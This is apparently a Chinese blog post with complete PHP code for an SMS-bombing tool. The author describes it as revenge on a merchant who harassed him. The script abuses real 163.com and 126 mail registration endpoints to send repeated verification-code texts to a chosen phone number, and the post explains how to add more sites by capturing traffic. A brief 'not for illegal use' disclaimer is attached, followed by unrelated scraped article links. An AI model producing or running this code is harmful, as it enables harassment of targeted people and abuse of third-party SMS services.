最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信,烦死了。。。

短信大概就是利用一些网站的手机验证码来实现的。。

所以再被他疯狂骚扰后决定自己动手反击。。

php主要用到了curl的函数库扩展,然后主要要做的还是去抓包分析网站注册码的各个请求,

下面就主要来一个小的demo来详细说一下。。效率谈不上,仅限于娱乐。

1.sms.php

  注意cookie文件一定要用绝对路径。。在这纠结了好久。。

  其他的curlopt参数自己去查手册吧

  还有里面缺少一些状态判断,可以自己去做,懒得搞了。。他一般返回json格式,还是很清楚的,剩余几次,是否已经注册都有信息可以提取。curl_exec()的返回值里有数据

 1 <?php
 2 ini_set('max_execution_time',0);
 3 if(!isset($argv[1])){
 4     print("argv error");
 5     die();
 6 }
 7 include_once("./webinfo.php");
 8 $exps = array();
 9 foreach ($webs as $key => $value) {
10     $exps[] = new $value($argv[1]);
11 }
12 for($i=1;$i<=3;$i++){
13     print("this is {$i} send\n");
14     foreach ($exps as $key => $value) {
15         if(!file_exists($value->cookieJar)){
16             $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+");
17             fclose($fp);
18             print("[+]create cookiefile {$value->cookieJar}\n");
19         }
20         $ch = curl_init();
21         curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie);
22         curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar);
23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
24         curl_setopt($ch, CURLOPT_HEADER, 0);
25         curl_exec($ch);
26         print("[+]get raw cookie ready\n");
27         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
28         if($value->urlCheckNum!=null){
29             $checkUrl = $value->urlCheckNum;
30             foreach ($checkUrl as $k => $v) {
31                 if($value->type=="post"){
32                     curl_setopt($ch, CURLOPT_URL, $v[0]);
33                     curl_setopt($ch, CURLOPT_POST, true);
34                     curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]);
35                 }else{
36                     curl_setopt($ch, CURLOPT_URL, $v);
37                 }
38                 curl_exec($ch);
39                 print("[+]check num ready\n");
40              }
41         }
42         if($value->type=="post"){
43             curl_setopt($ch, CURLOPT_POST, true);
44             curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras);
45         }
46         curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar);
47         curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS);
48         curl_exec($ch);
49         print("[+]send sms ok \n begin the next... \n\n");
50     }
51     if($i!=3){
52         print("[--]we will begin the next send sms after 60s\n");
53         sleep(60);
54     }
55
56 }

2.webinfo.php

 1 <?php
 2     /*
 3      *本页面为网站信息数据
 4      *$webs数组存放所有的
 5      *$type为请求格式
 6      *
 7      *$urlGetRawCookie为原始登录网页网址,用来取得原始cookie并保存,
 8      *因为一般他们会把验证码信息存在session中,若没有登录,就对应了cookie中的JSESSIONID,与http协议机制相关
 9      *
10      *$urlCheckNum为最终发送网址之前的一些网址,保存为数组格式,若为post型,则保存为二维数组,
11      *最内层数组第一个元素为网址,第二个为post数据
12      *
13      *$urlSendSMS为最终发送网址,若为post型,post数据对应于$paras
14      *
15      *$cookieJar为cookie保存文件
16      */
17     $webs = array("info163","info126");
18     class Info163{
19         public $type = "post";
20         public $paras = "";
21         public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail";
22         public $urlCheckNum = null;
23         public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode";
24         public $cookieJar = "cookie163.txt";
25         public function info163($num){
26             $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start";
27         }
28
29     }
30     class Info126{
31         public $type = "get";
32         public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail";
33         public $urlCheckNum = null;
34         public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909";
35         public $cookieJar = "cookie126.txt";
36         public function info126($num){
37             $this->urlCheckNum = array(
38                 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}",
39                 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531"
40                 );
41         }
42     }
43
44
45
46 ?>

自己可以按照规则扩展webino里的数据,抓包可以用wireshark,不过http抓包个人感觉还是chrome自带的工具比较好用点

请勿用于非法用途,后果自负。

转载于:https://www.cnblogs.com/happyDays/p/3440741.html

php 构造骚扰短信发送机(仅供学习与参考,请勿用于非法用途)相关推荐

  1. Web安全攻防 信息收集篇(仅供交流学习使用,请勿用于非法用途)

    Web安全攻防 准备篇 1. 信息收集 域名介绍: 域名(Domain Name),是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名 称,用于在数据传 输时标识计算机的电子方位 ...

  2. Photoshop CC 2017 安装与激活(Mac 版)(仅供学习研究,勿作商业用途)

    Adobe Photoshop CC 2017是专业的图片制作工具.下面来介绍下安装步骤 步骤一. 下载官方的在线,登录Adobe账号,下载安装你要用的产品就可以下载到最新本的软件了 https:// ...

  3. 老司机人手必备xxlive 仅供学习交流 勿传播以及商业用途

    一款直播聚合和影视聚合app,小朋友就别看了.已破解,无任何限制观看 点击下载

  4. python 正方教务管理系统抢课脚本(仅供学习)

    正方教务管理系统抢课脚本 (仅供学习请勿它用!!!) 正方教务管理系统抢课脚本 进入正题 正方教务管理系统抢课脚本 该脚本使用python代码模拟发包实现.教务管理系统版本可能有所不同.请根据实际情况 ...

  5. zlc源码-众利模式 全新黑金UI客户运营版:仅供学习使用

    本源码是目前众利模式的最新ZLC源码!请勿用作其他非法运营!可以学习使用!用作非法用途一切都与本人无关! 联系QQ:19198367 联系QQ:19198367 特别声明: 此源码仅供学习使用,请勿用 ...

  6. zlc源码-众利模式 全新海红UI客户运营版:仅供学习使用

    本源码是目前众利模式的最新ZLC源码!请勿用作其他非法运营!可以学习使用!用作非法用途一切都与本人无关! 联系QQ:19198367 联系QQ:19198367 特别声明: 此源码仅供学习使用,请勿用 ...

  7. python图片裁剪对比_Python自动抢视频红包,仅供学习!

    本文来源于公众号: AirPython 1 目 标 场 景 如今短视频横行的时代,以某短视频为首的,背后依靠着强大的资金后盾,疯狂地对平台用户进行红包轰炸. 与传统的红包不一样,视频红包包含位置的不确 ...

  8. python抢红包脚本_Python自动抢视频红包,仅供学习!

    本文来源于公众号: AirPyt hon 1 目 标 场 景 如今短视频横行的时代,以某短视频为首的,背后依靠着强大的资金后盾,疯狂地对平台用户进行红包轰炸. 与传统的红包不一样,视频红包包含位置的不 ...

  9. python 抢单脚本_分享用Python写的99收抢单小脚本,仅供学习

    实测挂2~3分钟可以刷到个10元,哈哈 在前面填写账号密码还有99开发者中心的私钥,然后用Python2跑即可 抢到单会自动暂停,但不会任何通知,请记得留意Log输出#!/usr/bin/python ...

最新文章

  1. IDEA提升研发效能—高效定位篇
  2. python设置背景音乐_python给视频添加背景音乐并改变音量的具体方法
  3. Java入门之HelloWorld
  4. CGI,BOA配置心得
  5. 多页面webpack配置
  6. 监控视图 oracle,Oracle“并行执行”之四——监控视图
  7. 修改hadoop中yarn的webui中显示的任务时间为中国时间
  8. 人脑、思维与认知的研究
  9. Python使用Reportlab处理PDF数据 - 页面布局
  10. 关于java开发阿里云视频直播的使用及掉坑、爬坑,欢迎入坑交流
  11. 漫话:如何给女朋友解释什么是语法糖?
  12. EasyExcel java实现excel简单读写操作(快速上手,复制粘贴即可)
  13. gitlab代码查看行数
  14. 门禁系统服务器需要什么要求,完备的门禁系统应该具有这些功能
  15. springboot+feign+nacos+seata+docker整合踏坑实录
  16. 富爸爸财务自由之路——财富自由之路的七个步骤
  17. WPS批量设置及批量打印文档
  18. “知了杯”第一届网页设计大赛在川职圆满落幕
  19. linux的nc命令退出,nc 命令使用详解
  20. 我国劳动法中关于高校应届毕业生就业协议及合同的一切条款

热门文章

  1. session的存储方式
  2. 跨平台加密版 SQLite 3 - wxSQLite3
  3. XCode、Objective-C、Cocoa 说的是几样东西
  4. 怎样在减少数据中心成本的同时不牺牲性能?
  5. 89. Gray Code - LeetCode
  6. Python 08 面向对象
  7. IT团队如何赢得尊重?
  8. JS进阶之---函数,立即执行函数
  9. HTTP和HTTPS的区别(转)
  10. jQuery 入门教程(5): 显示/隐藏内容